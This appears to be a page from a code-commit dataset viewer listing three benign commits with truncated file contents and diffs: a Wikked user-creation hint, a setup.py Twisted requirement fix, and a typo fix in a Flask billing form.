| Python | apache-2.0 | ludovicchabant/Wikked,ludovicchabant/Wikked,ludovicchabant/Wikked | <REPLACE_OLD> password))
<REPLACE_NEW> password))
logger.info("")
logger.info("(copy this into your .wikirc file)")
<REPLACE_END> <|endoftext|> import logging
import getpass
from wikked.bcryptfallback import generate_password_hash
from wikked.commands.base import WikkedCommand, register_command
lo... | newuser: Add some explanation as to what to do with the output.
import logging
import getpass
from wikked.bcryptfallback import generate_password_hash
from wikked.commands.base import WikkedCommand, register_command
logger = logging.getLogger(__name__)
@register_command
class UsersCommand(WikkedCommand):
def _... |
888ffba93f4b9ed9a889aebd9d3e4296b469579d | setup.py | setup.py | #!/usr/bin/env python2.6
try:
from setuptools import setup
except:
from distutils.core import setup
def getVersion():
import os
packageSeedFile = os.path.join("lib", "_version.py")
ns = {"__name__": __name__, }
execfile(packageSeedFile, ns)
return ns["version"]
version = getVersion()
s... | #!/usr/bin/env python2.6
try:
from setuptools import setup
except:
from distutils.core import setup
def getVersion():
import os
packageSeedFile = os.path.join("lib", "_version.py")
ns = {"__name__": __name__, }
execfile(packageSeedFile, ns)
return ns["version"]
version = getVersion()
s... | Fix Twisted requirement (I think?) | Fix Twisted requirement (I think?)
git-svn-id: 0754dbe6ae3ac1ca1635dae9a69e589ef5e7cc4d@61 8ed0a6ef-5846-dd11-a15a-00e9354ff7a0
| Python | bsd-3-clause | olix0r/pub | <REPLACE_OLD> "twisted", "twisted.conch", "pendrell(>=0.2.0)", <REPLACE_NEW> "Twisted", "pendrell>=0.3.0", <REPLACE_END> <|endoftext|> #!/usr/bin/env python2.6
try:
from setuptools import setup
except:
from distutils.core import setup
def getVersion():
import os
packageSeedFile = os.path.join("lib", ... | Fix Twisted requirement (I think?)
git-svn-id: 0754dbe6ae3ac1ca1635dae9a69e589ef5e7cc4d@61 8ed0a6ef-5846-dd11-a15a-00e9354ff7a0
#!/usr/bin/env python2.6
try:
from setuptools import setup
except:
from distutils.core import setup
def getVersion():
import os
packageSeedFile = os.path.join("lib", "_ver... |
a050d510bce159ba646de322de31b05fede349e7 | catwatch/blueprints/billing/forms.py | catwatch/blueprints/billing/forms.py | from flask_wtf import Form
from wtforms import StringField, HiddenField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_babel import lazy_gettext as _
class CreditCardForm(Form):
stripe_key = HiddenField(_('Stripe key'),
[DataRequired(), Length(1, 254)])
... | from flask_wtf import Form
from wtforms import StringField, HiddenField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_babel import lazy_gettext as _
class CreditCardForm(Form):
stripe_key = HiddenField(_('Stripe key'),
[DataRequired(), Length(1, 254)])
... | Fix typo in cancel subscription submit button | Fix typo in cancel subscription submit button
| Python | mit | nickjj/build-a-saas-app-with-flask,nickjj/build-a-saas-app-with-flask,nickjj/build-a-saas-app-with-flask,nickjj/build-a-saas-app-with-flask,z123/build-a-saas-app-with-flask,z123/build-a-saas-app-with-flask,z123/build-a-saas-app-with-flask | <REPLACE_OLD> subscriptiption'))
<REPLACE_NEW> subscription'))
<REPLACE_END> <|endoftext|> from flask_wtf import Form
from wtforms import StringField, HiddenField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_babel import lazy_gettext as _
class CreditCardForm(Form):
stripe_key = H... | Fix typo in cancel subscription submit button
from flask_wtf import Form
from wtforms import StringField, HiddenField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_babel import lazy_gettext as _
class CreditCardForm(Form):
stripe_key = HiddenField(_('Stripe key'),
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.